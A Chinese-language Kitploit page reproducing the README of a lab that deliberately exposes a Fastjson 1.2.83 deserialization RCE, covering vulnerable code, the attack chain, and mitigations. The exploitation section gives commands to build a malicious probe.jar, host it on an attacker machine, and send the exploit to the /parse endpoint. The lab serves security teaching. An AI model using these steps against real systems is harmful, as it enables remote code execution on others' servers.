Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
fastjson-rce-lab — Fastjson 1.2.83 RCE 靶场环境 (CVE-2026-16723) | Kitploit
工具/GitHubGitHub/why-success/fastjson-rce-lab
漏洞分析Web应用程序漏洞利用CTF学习与教育实验室与实践
GitHubwhy-success/fastjson-rce-lab

fastjson-rce-lab

Fastjson 1.2.83 RCE 靶场环境 (CVE-2026-16723)

查看仓库
371个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Fastjson 1.2.83 RCE 靶场环境 (CVE-2026-16723)

免责声明:本靶场仅供授权环境下的安全研究、教学演示与防御建设使用。擅自对未授权目标进行测试可能违法,使用后果由使用者自行承担。

漏洞概述

项目内容
CVECVE-2026-16723 (CVSS 9.0)
影响版本Fastjson 1.2.68 ~ 1.2.83
漏洞类型反序列化远程代码执行 (RCE)
核心特点Gadget-free(不依赖任何第三方类库)
完整 RCE 条件JDK 8 + Spring Boot Fat-JAR + SafeMode 关闭

靶场环境说明

  • Fastjson 1.2.83

    • SafeMode 关闭(默认状态)
  • Spring Boot fat-JAR 打包(内含 LaunchedURLClassLoader,利用链必要组件)

  • 已修复关键行:ParseController 调用 JSON.parse() 前将线程 ClassLoader 切为 LaunchedURLClassLoader(Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())),这是 @JSONType 探测路径能够远程加载类的必要前提

  • 提供 /parse(JSON.parse)和 /parseObject(JSON.parseObject)两个解析端点

环境要求

  • JDK 8(完整 RCE 必须 JDK 8;JDK 9+ 只能 SSRF 无法完整 RCE)
  • 操作系统:Windows / Linux / UOS / macOS 均可
  • 内存:最小 256MB 空闲

构建

从源码构建 fat-JAR(需要 JDK 8 + Maven):

root@kitploit:~
git clone https://github.com/why-success/fastjson-rce-lab.git
cd fastjson-rce-lab
mvn clean package -DskipTests

构建产物在 target/fastjson-rce-lab.jar。

如果没有 Maven,也可以用项目自带的 Maven Wrapper(需要提前配置 mvnw)。

快速启动

Windows

root@kitploit:~
# 双击 start.bat
# 或命令行
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080

Linux

root@kitploit:~
chmod +x start.sh
./start.sh

# 或手动启动
ulimit -n 65536
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080

关于 --server.port=18080:环境中可能存在 SERVER__PORT 等环境变量会覆盖 application.properties 中的端口配置,通过命令行参数强制指定可确保端口正确(命令行参数优先级最高)。

关于 JVM 参数:-Xmx256m -XX:+UseSerialGC 是为了在低内存虚机(如 Kali 2-4G)上正常运行,避免 JVM 初始化时 OOM。如果机器内存充足可以去掉。

启动验证

root@kitploit:~
curl http://127.0.0.1:18080/status

预期返回:

root@kitploit:~
{
  "fastjsonVersion": "1.2.83",
  "safeMode": false,
  "autoTypeSupport": false,
  "vulnerable": true,
  "javaVersion": "1.8.0_xxx"
}

safeMode: false 且 vulnerable: true 即为易受攻击状态。

端点说明

漏洞原理

root@kitploit:~
1. 攻击者发送特制 JSON(@type 指向 jar:http 资源路径)
2. Fastjson checkAutoType() 将 typeName 转为资源路径 "typeName.replace('.', '/') + .class" 做探测
3. getResourceAsStream() 触发 LaunchedURLClassLoader → 发起 HTTP 请求拉取远程 JAR
4. ASM 扫描字节码,发现 @JSONType 注解 → 视为信任信号
5. 跳过危险基类检查 → loadClass() → defineClass()
6. 触发 <clinit> 静态初始化块 → RCE

靶场中的关键代码

root@kitploit:~
// ParseController.java — /parse 端点
@PostMapping("/parse")
public Map<String, Object> parse(@RequestBody String body) {
    // ⚠️ 这一行是关键:切换到 LaunchedURLClassLoader
    Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
    Object obj = JSON.parse(body);
    // ...
}

没有这行 setContextClassLoader,Fastjson 使用系统默认 AppClassLoader,无法通过 jar:http:// 协议加载远程类。

利用复现

第一步:获取 PoC 工具

root@kitploit:~
git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce

第二步:修改 GenProbe.java(关键)

仓库自带的 poc/GenProbe.java 有两个兼容性问题已修复:

  1. 硬编码 /bin/bash -c → 改为 Runtime.exec(String) 通用版本(Windows/Linux 都可用)
  2. 跨平台命令格式:Windows 靶场用 "cmd /c xxx",Linux 靶场直接用 "touch /tmp/pwned" 或 "bash -c xxx"

第三步:生成 probe.jar 并托管

完整攻击流程见 靶场测试完整指南.md(同目录下),包含:

  • 完整七步攻击操作流程
  • 各平台命令速查表
  • 6 种常见报错及排查方法

快速验证(Windows 靶场示例)

root@kitploit:~
# 在攻击机(或能编译 Java 的机器)上
cd fastjson-1.2.83-rce
javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"

# 将 poc/www/probe 拷到 Kali
# Kali 上启动 HTTP 托管
cd poc/www && python3 -m http.server 19090

# 重启靶场 → Kali 新终端打 exp
python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe

修复方案

紧急修复:启用 SafeMode

root@kitploit:~
# JVM 启动参数
-Dfastjson.parser.safeMode=true
root@kitploit:~
// 代码配置
ParserConfig.getGlobalInstance().setSafeMode(true);

长期修复:迁移至 Fastjson 2.x

root@kitploit:~
<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.x</version>
</dependency>

Fastjson2 不受此漏洞影响。

其他措施

  • 使用 com.alibaba:fastjson:1.2.83_noneautotype 构建版本
  • 阻止应用服务器出站 HTTP 流量
  • 排查所有 Fastjson 1.x 依赖实例

技术参考

  • Kirill Firsov (@k_firsov) 披露:https://x.com/k_firsov/status/2078872293745570032
  • PoC 项目:https://github.com/0x7eTeam/fastjson-1.2.83-rce
  • 阿里安全公告(2026-07-21)
  • 腾讯云安全通告(2026-07-20)
下载工具
方法路径说明
GET/靶场首页(HTML)
GET/statusFastjson 配置状态(JSON)
POST/parseJSON.parse(body) — 主要漏洞触发端点
POST/parseObjectJSON.parseObject(body) — 备用触发端点